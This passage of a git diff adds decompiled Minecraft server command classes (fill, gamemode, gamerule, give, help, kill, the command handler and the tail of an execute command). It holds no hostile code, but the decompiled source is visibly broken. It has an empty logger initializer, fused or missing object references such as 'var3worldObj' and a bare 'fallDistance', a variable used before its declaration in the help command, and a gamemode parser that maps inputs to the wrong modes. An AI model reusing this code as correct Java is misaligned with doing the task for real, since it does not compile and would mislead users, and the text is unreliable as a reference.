+    ICommandSender var14 = new ICommandSender()
+    {
+      private static final String __OBFID = "CL_00002343";
+      
+      public String getName() {
+        return var3.getName();
+      }
+      
+      public IChatComponent getDisplayName() {
+        return var3.getDisplayName();
+      }
+      
+      public void addChatMessage(IChatComponent message) {
+        sender.addChatMessage(message);
+      }
+      
+      public boolean canCommandSenderUseCommand(int permissionLevel, String command) {
+        return sender.canCommandSenderUseCommand(permissionLevel, command);
+      }
+      
+      public BlockPos getPosition() {
+        return var10;
+      }
+      
+      public net.minecraft.util.Vec3 getPositionVector() {
+        return new net.minecraft.util.Vec3(var4, var8, val$var8);
+      }
+      
+      public World getEntityWorld() {
+        return var3worldObj;
+      }
+      
+      public Entity getCommandSenderEntity() {
+        return var3;
+      }
+      
+      public boolean sendCommandFeedback() {
+        MinecraftServer var1 = MinecraftServer.getServer();
+        return (var1 == null) || (worldServers[0].getGameRules().getGameRuleBooleanValue("commandBlockOutput"));
+      }
+      
+      public void func_174794_a(CommandResultStats.Type p_174794_1_, int p_174794_2_) {
+        var3.func_174794_a(p_174794_1_, p_174794_2_);
+      }
+    };
+    ICommandManager var25 = MinecraftServer.getServer().getCommandManager();
+    
+    try
+    {
+      int var16 = var25.executeCommand(var14, var24);
+      
+      if (var16 < 1)
+      {
+        throw new CommandException("commands.execute.allInvocationsFailed", new Object[] { var24 });
+      }
+    }
+    catch (Throwable var23)
+    {
+      throw new CommandException("commands.execute.failed", new Object[] { var24, var3.getName() });
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return (args.length == 9) && ("detect".equals(args[4])) ? func_175762_a(args, Block.blockRegistry.getKeys()) : (args.length > 5) && (args.length <= 8) && ("detect".equals(args[4])) ? func_175771_a(args, 5, pos) : (args.length > 1) && (args.length <= 4) ? func_175771_a(args, 1, pos) : args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandFill.java b/src/minecraft/net/minecraft/command/CommandFill.java
new file mode 100644
index 0000000..0c67556
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandFill.java
@@ -0,0 +1,229 @@
+package net.minecraft.command;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class CommandFill extends CommandBase
+{
+  private static final String __OBFID = "CL_00002342";
+  
+  public CommandFill() {}
+  
+  public String getCommandName()
+  {
+    return "fill";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.fill.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 7)
+    {
+      throw new WrongUsageException("commands.fill.usage", new Object[0]);
+    }
+    
+
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 0);
+    BlockPos var3 = func_175757_a(sender, args, 0, false);
+    BlockPos var4 = func_175757_a(sender, args, 3, false);
+    Block var5 = CommandBase.getBlockByText(sender, args[6]);
+    int var6 = 0;
+    
+    if (args.length >= 8)
+    {
+      var6 = parseInt(args[7], 0, 15);
+    }
+    
+    BlockPos var7 = new BlockPos(Math.min(var3.getX(), var4.getX()), Math.min(var3.getY(), var4.getY()), Math.min(var3.getZ(), var4.getZ()));
+    BlockPos var8 = new BlockPos(Math.max(var3.getX(), var4.getX()), Math.max(var3.getY(), var4.getY()), Math.max(var3.getZ(), var4.getZ()));
+    int var9 = (var8.getX() - var7.getX() + 1) * (var8.getY() - var7.getY() + 1) * (var8.getZ() - var7.getZ() + 1);
+    
+    if (var9 > 32768)
+    {
+      throw new CommandException("commands.fill.tooManyBlocks", new Object[] { Integer.valueOf(var9), Integer.valueOf(32768) });
+    }
+    if ((var7.getY() >= 0) && (var8.getY() < 256))
+    {
+      World var10 = sender.getEntityWorld();
+      
+      for (int var11 = var7.getZ(); var11 < var8.getZ() + 16; var11 += 16)
+      {
+        for (int var12 = var7.getX(); var12 < var8.getX() + 16; var12 += 16)
+        {
+          if (!var10.isBlockLoaded(new BlockPos(var12, var8.getY() - var7.getY(), var11)))
+          {
+            throw new CommandException("commands.fill.outOfWorld", new Object[0]);
+          }
+        }
+      }
+      
+      NBTTagCompound var22 = new NBTTagCompound();
+      boolean var23 = false;
+      
+      if ((args.length >= 10) && (var5.hasTileEntity()))
+      {
+        String var13 = getChatComponentFromNthArg(sender, args, 9).getUnformattedText();
+        
+        try
+        {
+          var22 = JsonToNBT.func_180713_a(var13);
+          var23 = true;
+        }
+        catch (NBTException var21)
+        {
+          throw new CommandException("commands.fill.tagError", new Object[] { var21.getMessage() });
+        }
+      }
+      
+      ArrayList var24 = com.google.common.collect.Lists.newArrayList();
+      var9 = 0;
+      
+      for (int var14 = var7.getZ(); var14 <= var8.getZ(); var14++)
+      {
+        for (int var15 = var7.getY(); var15 <= var8.getY(); var15++)
+        {
+          for (int var16 = var7.getX(); var16 <= var8.getX(); var16++)
+          {
+            BlockPos var17 = new BlockPos(var16, var15, var14);
+            
+
+            if (args.length >= 9)
+            {
+              if ((!args[8].equals("outline")) && (!args[8].equals("hollow")))
+              {
+                if (args[8].equals("destroy"))
+                {
+                  var10.destroyBlock(var17, true);
+                }
+                else if (args[8].equals("keep"))
+                {
+                  if (!var10.isAirBlock(var17)) {
+                    continue;
+                  }
+                  
+                }
+                else if ((args[8].equals("replace")) && (!var5.hasTileEntity()))
+                {
+                  if (args.length > 9)
+                  {
+                    Block var18 = CommandBase.getBlockByText(sender, args[9]);
+                    
+                    if (var10.getBlockState(var17).getBlock() != var18) {
+                      continue;
+                    }
+                  }
+                  
+
+                  if (args.length > 10)
+                  {
+                    int var28 = CommandBase.parseInt(args[10]);
+                    IBlockState var19 = var10.getBlockState(var17);
+                    
+                    if (var19.getBlock().getMetaFromState(var19) != var28) {
+                      continue;
+                    }
+                    
+                  }
+                }
+              }
+              else if ((var16 != var7.getX()) && (var16 != var8.getX()) && (var15 != var7.getY()) && (var15 != var8.getY()) && (var14 != var7.getZ()) && (var14 != var8.getZ()))
+              {
+                if (!args[8].equals("hollow"))
+                  continue;
+                var10.setBlockState(var17, Blocks.air.getDefaultState(), 2);
+                var24.add(var17);
+                
+
+                continue;
+              }
+            }
+            
+            TileEntity var29 = var10.getTileEntity(var17);
+            
+            if (var29 != null)
+            {
+              if ((var29 instanceof IInventory))
+              {
+                ((IInventory)var29).clearInventory();
+              }
+              
+              var10.setBlockState(var17, Blocks.barrier.getDefaultState(), var5 == Blocks.barrier ? 2 : 4);
+            }
+            
+            IBlockState var19 = var5.getStateFromMeta(var6);
+            
+            if (var10.setBlockState(var17, var19, 2))
+            {
+              var24.add(var17);
+              var9++;
+              
+              if (var23)
+              {
+                TileEntity var20 = var10.getTileEntity(var17);
+                
+                if (var20 != null)
+                {
+                  var22.setInteger("x", var17.getX());
+                  var22.setInteger("y", var17.getY());
+                  var22.setInteger("z", var17.getZ());
+                  var20.readFromNBT(var22);
+                }
+              }
+            }
+          }
+        }
+      }
+      
+      Iterator var25 = var24.iterator();
+      
+      while (var25.hasNext())
+      {
+        BlockPos var26 = (BlockPos)var25.next();
+        Block var27 = var10.getBlockState(var26).getBlock();
+        var10.func_175722_b(var26, var27);
+      }
+      
+      if (var9 <= 0)
+      {
+        throw new CommandException("commands.fill.failed", new Object[0]);
+      }
+      
+
+      sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, var9);
+      notifyOperators(sender, this, "commands.fill.success", new Object[] { Integer.valueOf(var9) });
+
+    }
+    else
+    {
+      throw new CommandException("commands.fill.outOfWorld", new Object[0]);
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 9 ? getListOfStringsMatchingLastWord(args, new String[] { "replace", "destroy", "keep", "hollow", "outline" }) : args.length == 7 ? func_175762_a(args, Block.blockRegistry.getKeys()) : (args.length > 3) && (args.length <= 6) ? func_175771_a(args, 3, pos) : (args.length > 0) && (args.length <= 3) ? func_175771_a(args, 0, pos) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandGameMode.java b/src/minecraft/net/minecraft/command/CommandGameMode.java
new file mode 100644
index 0000000..f02b5d0
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandGameMode.java
@@ -0,0 +1,91 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.world.WorldSettings.GameType;
+
+public class CommandGameMode extends CommandBase
+{
+  private static final String __OBFID = "CL_00000448";
+  
+  public CommandGameMode() {}
+  
+  public String getCommandName()
+  {
+    return "gamemode";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.gamemode.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length <= 0)
+    {
+      throw new WrongUsageException("commands.gamemode.usage", new Object[0]);
+    }
+    
+
+    WorldSettings.GameType var3 = getGameModeFromCommand(sender, args[0]);
+    EntityPlayerMP var4 = args.length >= 2 ? getPlayer(sender, args[1]) : getCommandSenderAsPlayer(sender);
+    var4.setGameType(var3);
+    fallDistance = 0.0F;
+    
+    if (sender.getEntityWorld().getGameRules().getGameRuleBooleanValue("sendCommandFeedback"))
+    {
+      var4.addChatMessage(new ChatComponentTranslation("gameMode.changed", new Object[0]));
+    }
+    
+    ChatComponentTranslation var5 = new ChatComponentTranslation("gameMode." + var3.getName(), new Object[0]);
+    
+    if (var4 != sender)
+    {
+      notifyOperators(sender, this, 1, "commands.gamemode.success.other", new Object[] { var4.getName(), var5 });
+    }
+    else
+    {
+      notifyOperators(sender, this, 1, "commands.gamemode.success.self", new Object[] { var5 });
+    }
+  }
+  
+
+
+
+  protected WorldSettings.GameType getGameModeFromCommand(ICommandSender p_71539_1_, String p_71539_2_)
+    throws CommandException
+  {
+    return (!p_71539_2_.equalsIgnoreCase(WorldSettings.GameType.SURVIVAL.getName())) && (!p_71539_2_.equalsIgnoreCase("s")) ? WorldSettings.GameType.CREATIVE : (!p_71539_2_.equalsIgnoreCase(WorldSettings.GameType.CREATIVE.getName())) && (!p_71539_2_.equalsIgnoreCase("c")) ? WorldSettings.GameType.ADVENTURE : (!p_71539_2_.equalsIgnoreCase(WorldSettings.GameType.ADVENTURE.getName())) && (!p_71539_2_.equalsIgnoreCase("a")) ? WorldSettings.GameType.SPECTATOR : (!p_71539_2_.equalsIgnoreCase(WorldSettings.GameType.SPECTATOR.getName())) && (!p_71539_2_.equalsIgnoreCase("sp")) ? net.minecraft.world.WorldSettings.getGameTypeById(parseInt(p_71539_2_, 0, WorldSettings.GameType.values().length - 2)) : WorldSettings.GameType.SURVIVAL;
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return args.length == 2 ? getListOfStringsMatchingLastWord(args, getListOfPlayerUsernames()) : args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "survival", "creative", "adventure", "spectator" }) : null;
+  }
+  
+
+
+
+  protected String[] getListOfPlayerUsernames()
+  {
+    return MinecraftServer.getServer().getAllUsernames();
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandGameRule.java b/src/minecraft/net/minecraft/command/CommandGameRule.java
new file mode 100644
index 0000000..4942f08
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandGameRule.java
@@ -0,0 +1,113 @@
+package net.minecraft.command;
+
+import java.util.Iterator;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.GameRules.ValueType;
+
+public class CommandGameRule extends CommandBase
+{
+  private static final String __OBFID = "CL_00000475";
+  
+  public CommandGameRule() {}
+  
+  public String getCommandName()
+  {
+    return "gamerule";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.gamerule.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    GameRules var3 = getGameRules();
+    String var4 = args.length > 0 ? args[0] : "";
+    String var5 = args.length > 1 ? func_180529_a(args, 1) : "";
+    
+    switch (args.length)
+    {
+    case 0: 
+      sender.addChatMessage(new ChatComponentText(joinNiceString(var3.getRules())));
+      break;
+    
+    case 1: 
+      if (!var3.hasRule(var4))
+      {
+        throw new CommandException("commands.gamerule.norule", new Object[] { var4 });
+      }
+      
+      String var6 = var3.getGameRuleStringValue(var4);
+      sender.addChatMessage(new ChatComponentText(var4).appendText(" = ").appendText(var6));
+      sender.func_174794_a(CommandResultStats.Type.QUERY_RESULT, var3.getInt(var4));
+      break;
+    
+    default: 
+      if ((var3.areSameType(var4, GameRules.ValueType.BOOLEAN_VALUE)) && (!"true".equals(var5)) && (!"false".equals(var5)))
+      {
+        throw new CommandException("commands.generic.boolean.invalid", new Object[] { var5 });
+      }
+      
+      var3.setOrCreateGameRule(var4, var5);
+      func_175773_a(var3, var4);
+      notifyOperators(sender, this, "commands.gamerule.success", new Object[0]);
+    }
+  }
+  
+  public static void func_175773_a(GameRules p_175773_0_, String p_175773_1_)
+  {
+    if ("reducedDebugInfo".equals(p_175773_1_))
+    {
+      int var2 = p_175773_0_.getGameRuleBooleanValue(p_175773_1_) ? 22 : 23;
+      Iterator var3 = getServergetConfigurationManagerplayerEntityList.iterator();
+      
+      while (var3.hasNext())
+      {
+        EntityPlayerMP var4 = (EntityPlayerMP)var3.next();
+        playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S19PacketEntityStatus(var4, (byte)var2));
+      }
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    if (args.length == 1)
+    {
+      return getListOfStringsMatchingLastWord(args, getGameRules().getRules());
+    }
+    
+
+    if (args.length == 2)
+    {
+      GameRules var4 = getGameRules();
+      
+      if (var4.areSameType(args[0], GameRules.ValueType.BOOLEAN_VALUE))
+      {
+        return getListOfStringsMatchingLastWord(args, new String[] { "true", "false" });
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+  private GameRules getGameRules()
+  {
+    return MinecraftServer.getServer().worldServerForDimension(0).getGameRules();
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandGive.java b/src/minecraft/net/minecraft/command/CommandGive.java
new file mode 100644
index 0000000..9a84852
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandGive.java
@@ -0,0 +1,117 @@
+package net.minecraft.command;
+
+import java.util.Random;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.server.MinecraftServer;
+
+public class CommandGive extends CommandBase
+{
+  private static final String __OBFID = "CL_00000502";
+  
+  public CommandGive() {}
+  
+  public String getCommandName()
+  {
+    return "give";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.give.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new WrongUsageException("commands.give.usage", new Object[0]);
+    }
+    
+
+    EntityPlayerMP var3 = getPlayer(sender, args[0]);
+    Item var4 = getItemByText(sender, args[1]);
+    int var5 = args.length >= 3 ? parseInt(args[2], 1, 64) : 1;
+    int var6 = args.length >= 4 ? parseInt(args[3]) : 0;
+    ItemStack var7 = new ItemStack(var4, var5, var6);
+    
+    if (args.length >= 5)
+    {
+      String var8 = getChatComponentFromNthArg(sender, args, 4).getUnformattedText();
+      
+      try
+      {
+        var7.setTagCompound(net.minecraft.nbt.JsonToNBT.func_180713_a(var8));
+      }
+      catch (NBTException var10)
+      {
+        throw new CommandException("commands.give.tagError", new Object[] { var10.getMessage() });
+      }
+    }
+    
+    boolean var11 = inventory.addItemStackToInventory(var7);
+    
+    if (var11)
+    {
+      worldObj.playSoundAtEntity(var3, "random.pop", 0.2F, ((var3.getRNG().nextFloat() - var3.getRNG().nextFloat()) * 0.7F + 1.0F) * 2.0F);
+      inventoryContainer.detectAndSendChanges();
+    }
+    
+
+
+    if ((var11) && (stackSize <= 0))
+    {
+      stackSize = 1;
+      sender.func_174794_a(CommandResultStats.Type.AFFECTED_ITEMS, var5);
+      EntityItem var9 = var3.dropPlayerItemWithRandomChoice(var7, false);
+      
+      if (var9 != null)
+      {
+        var9.func_174870_v();
+      }
+    }
+    else
+    {
+      sender.func_174794_a(CommandResultStats.Type.AFFECTED_ITEMS, var5 - stackSize);
+      EntityItem var9 = var3.dropPlayerItemWithRandomChoice(var7, false);
+      
+      if (var9 != null)
+      {
+        var9.setNoPickupDelay();
+        var9.setOwner(var3.getName());
+      }
+    }
+    
+    notifyOperators(sender, this, "commands.give.success", new Object[] { var7.getChatComponent(), Integer.valueOf(var5), var3.getName() });
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return args.length == 2 ? func_175762_a(args, Item.itemRegistry.getKeys()) : args.length == 1 ? getListOfStringsMatchingLastWord(args, getPlayers()) : null;
+  }
+  
+  protected String[] getPlayers()
+  {
+    return MinecraftServer.getServer().getAllUsernames();
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandHandler.java b/src/minecraft/net/minecraft/command/CommandHandler.java
new file mode 100644
index 0000000..b0792e6
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandHandler.java
@@ -0,0 +1,249 @@
+package net.minecraft.command;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class CommandHandler implements ICommandManager
+{
+  private static final Logger logger = ;
+  
+
+  private final Map commandMap = Maps.newHashMap();
+  
+
+  private final Set commandSet = com.google.common.collect.Sets.newHashSet();
+  private static final String __OBFID = "CL_00001765";
+  
+  public CommandHandler() {}
+  
+  public int executeCommand(ICommandSender sender, String command) { command = command.trim();
+    
+    if (command.startsWith("/"))
+    {
+      command = command.substring(1);
+    }
+    
+    String[] var3 = command.split(" ");
+    String var4 = var3[0];
+    var3 = dropFirstString(var3);
+    ICommand var5 = (ICommand)commandMap.get(var4);
+    int var6 = getUsernameIndex(var5, var3);
+    int var7 = 0;
+    
+
+    if (var5 == null)
+    {
+      ChatComponentTranslation var8 = new ChatComponentTranslation("commands.generic.notFound", new Object[0]);
+      var8.getChatStyle().setColor(EnumChatFormatting.RED);
+      sender.addChatMessage(var8);
+    }
+    else if (var5.canCommandSenderUseCommand(sender))
+    {
+      if (var6 > -1)
+      {
+        List var12 = PlayerSelector.func_179656_b(sender, var3[var6], Entity.class);
+        String var9 = var3[var6];
+        sender.func_174794_a(CommandResultStats.Type.AFFECTED_ENTITIES, var12.size());
+        Iterator var10 = var12.iterator();
+        
+        while (var10.hasNext())
+        {
+          Entity var11 = (Entity)var10.next();
+          var3[var6] = var11.getUniqueID().toString();
+          
+          if (func_175786_a(sender, var3, var5, command))
+          {
+            var7++;
+          }
+        }
+        
+        var3[var6] = var9;
+      }
+      else
+      {
+        sender.func_174794_a(CommandResultStats.Type.AFFECTED_ENTITIES, 1);
+        
+        if (func_175786_a(sender, var3, var5, command))
+        {
+          var7++;
+        }
+      }
+    }
+    else
+    {
+      ChatComponentTranslation var8 = new ChatComponentTranslation("commands.generic.permission", new Object[0]);
+      var8.getChatStyle().setColor(EnumChatFormatting.RED);
+      sender.addChatMessage(var8);
+    }
+    
+    sender.func_174794_a(CommandResultStats.Type.SUCCESS_COUNT, var7);
+    return var7;
+  }
+  
+
+
+  protected boolean func_175786_a(ICommandSender p_175786_1_, String[] p_175786_2_, ICommand p_175786_3_, String p_175786_4_)
+  {
+    try
+    {
+      p_175786_3_.processCommand(p_175786_1_, p_175786_2_);
+      return true;
+    }
+    catch (WrongUsageException var7)
+    {
+      ChatComponentTranslation var6 = new ChatComponentTranslation("commands.generic.usage", new Object[] { new ChatComponentTranslation(var7.getMessage(), var7.getErrorOjbects()) });
+      var6.getChatStyle().setColor(EnumChatFormatting.RED);
+      p_175786_1_.addChatMessage(var6);
+    }
+    catch (CommandException var8)
+    {
+      ChatComponentTranslation var6 = new ChatComponentTranslation(var8.getMessage(), var8.getErrorOjbects());
+      var6.getChatStyle().setColor(EnumChatFormatting.RED);
+      p_175786_1_.addChatMessage(var6);
+    }
+    catch (Throwable var9)
+    {
+      ChatComponentTranslation var6 = new ChatComponentTranslation("commands.generic.exception", new Object[0]);
+      var6.getChatStyle().setColor(EnumChatFormatting.RED);
+      p_175786_1_.addChatMessage(var6);
+      logger.error("Couldn't process command: '" + p_175786_4_ + "'", var9);
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public ICommand registerCommand(ICommand p_71560_1_)
+  {
+    commandMap.put(p_71560_1_.getCommandName(), p_71560_1_);
+    commandSet.add(p_71560_1_);
+    Iterator var2 = p_71560_1_.getCommandAliases().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      ICommand var4 = (ICommand)commandMap.get(var3);
+      
+      if ((var4 == null) || (!var4.getCommandName().equals(var3)))
+      {
+        commandMap.put(var3, p_71560_1_);
+      }
+    }
+    
+    return p_71560_1_;
+  }
+  
+
+
+
+  private static String[] dropFirstString(String[] p_71559_0_)
+  {
+    String[] var1 = new String[p_71559_0_.length - 1];
+    System.arraycopy(p_71559_0_, 1, var1, 0, p_71559_0_.length - 1);
+    return var1;
+  }
+  
+  public List getTabCompletionOptions(ICommandSender sender, String input, BlockPos pos)
+  {
+    String[] var4 = input.split(" ", -1);
+    String var5 = var4[0];
+    
+    if (var4.length == 1)
+    {
+      ArrayList var9 = Lists.newArrayList();
+      Iterator var7 = commandMap.entrySet().iterator();
+      
+      while (var7.hasNext())
+      {
+        Map.Entry var8 = (Map.Entry)var7.next();
+        
+        if ((CommandBase.doesStringStartWith(var5, (String)var8.getKey())) && (((ICommand)var8.getValue()).canCommandSenderUseCommand(sender)))
+        {
+          var9.add(var8.getKey());
+        }
+      }
+      
+      return var9;
+    }
+    
+
+    if (var4.length > 1)
+    {
+      ICommand var6 = (ICommand)commandMap.get(var5);
+      
+      if ((var6 != null) && (var6.canCommandSenderUseCommand(sender)))
+      {
+        return var6.addTabCompletionOptions(sender, dropFirstString(var4), pos);
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+  public List getPossibleCommands(ICommandSender sender)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = commandSet.iterator();
+    
+    while (var3.hasNext())
+    {
+      ICommand var4 = (ICommand)var3.next();
+      
+      if (var4.canCommandSenderUseCommand(sender))
+      {
+        var2.add(var4);
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public Map getCommands()
+  {
+    return commandMap;
+  }
+  
+
+
+
+  private int getUsernameIndex(ICommand p_82370_1_, String[] p_82370_2_)
+  {
+    if (p_82370_1_ == null)
+    {
+      return -1;
+    }
+    
+
+    for (int var3 = 0; var3 < p_82370_2_.length; var3++)
+    {
+      if ((p_82370_1_.isUsernameIndex(p_82370_2_, var3)) && (PlayerSelector.matchesMultiplePlayers(p_82370_2_[var3])))
+      {
+        return var3;
+      }
+    }
+    
+    return -1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandHelp.java b/src/minecraft/net/minecraft/command/CommandHelp.java
new file mode 100644
index 0000000..f1f95f2
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandHelp.java
@@ -0,0 +1,120 @@
+package net.minecraft.command;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.event.ClickEvent.Action;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.MathHelper;
+
+public class CommandHelp extends CommandBase
+{
+  private static final String __OBFID = "CL_00000529";
+  
+  public CommandHelp() {}
+  
+  public String getCommandName()
+  {
+    return "help";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 0;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.help.usage";
+  }
+  
+  public List getCommandAliases()
+  {
+    return java.util.Arrays.asList(new String[] { "?" });
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    List var3 = getSortedPossibleCommands(sender);
+    boolean var4 = true;
+    int var5 = (var3.size() - 1) / 7;
+    boolean var6 = false;
+    
+
+    try
+    {
+      var13 = args.length == 0 ? 0 : parseInt(args[0], 1, var5 + 1) - 1;
+    }
+    catch (NumberInvalidException var12) {
+      int var13;
+      Map var8 = getCommands();
+      ICommand var9 = (ICommand)var8.get(args[0]);
+      
+      if (var9 != null)
+      {
+        throw new WrongUsageException(var9.getCommandUsage(sender), new Object[0]);
+      }
+      
+      if (MathHelper.parseIntWithDefault(args[0], -1) != -1)
+      {
+        throw var12;
+      }
+      
+      throw new CommandNotFoundException();
+    }
+    int var13;
+    int var7 = Math.min((var13 + 1) * 7, var3.size());
+    ChatComponentTranslation var14 = new ChatComponentTranslation("commands.help.header", new Object[] { Integer.valueOf(var13 + 1), Integer.valueOf(var5 + 1) });
+    var14.getChatStyle().setColor(EnumChatFormatting.DARK_GREEN);
+    sender.addChatMessage(var14);
+    
+    for (int var15 = var13 * 7; var15 < var7; var15++)
+    {
+      ICommand var10 = (ICommand)var3.get(var15);
+      ChatComponentTranslation var11 = new ChatComponentTranslation(var10.getCommandUsage(sender), new Object[0]);
+      var11.getChatStyle().setChatClickEvent(new net.minecraft.event.ClickEvent(ClickEvent.Action.SUGGEST_COMMAND, "/" + var10.getCommandName() + " "));
+      sender.addChatMessage(var11);
+    }
+    
+    if ((var13 == 0) && ((sender instanceof net.minecraft.entity.player.EntityPlayer)))
+    {
+      ChatComponentTranslation var16 = new ChatComponentTranslation("commands.help.footer", new Object[0]);
+      var16.getChatStyle().setColor(EnumChatFormatting.GREEN);
+      sender.addChatMessage(var16);
+    }
+  }
+  
+
+
+
+  protected List getSortedPossibleCommands(ICommandSender p_71534_1_)
+  {
+    List var2 = MinecraftServer.getServer().getCommandManager().getPossibleCommands(p_71534_1_);
+    java.util.Collections.sort(var2);
+    return var2;
+  }
+  
+  protected Map getCommands()
+  {
+    return MinecraftServer.getServer().getCommandManager().getCommands();
+  }
+  
+  public List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    if (args.length == 1)
+    {
+      Set var4 = getCommands().keySet();
+      return getListOfStringsMatchingLastWord(args, (String[])var4.toArray(new String[var4.size()]));
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandKill.java b/src/minecraft/net/minecraft/command/CommandKill.java
new file mode 100644
index 0000000..8a8e92c
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandKill.java
@@ -0,0 +1,51 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.Entity;
+
+public class CommandKill extends CommandBase
+{
+  private static final String __OBFID = "CL_00000570";
+  
+  public CommandKill() {}
+  
+  public String getCommandName() {
+    return "kill";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.kill.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length == 0)
+    {
+      net.minecraft.entity.player.EntityPlayerMP var4 = getCommandSenderAsPlayer(sender);
+      var4.func_174812_G();
+      notifyOperators(sender, this, "commands.kill.successful", new Object[] { var4.getDisplayName() });
+    }
+    else
+    {
+      Entity var3 = func_175768_b(sender, args[0]);
+      var3.func_174812_G();
+      notifyOperators(sender, this, "commands.kill.successful", new Object[] { var3.getDisplayName() });
+    }
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandNotFoundException.java b/src/minecraft/net/minecraft/command/CommandNotFoundException.java
new file mode 100644
index 0000000..fe79212
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandNotFoundException.java
@@ -0,0 +1,16 @@
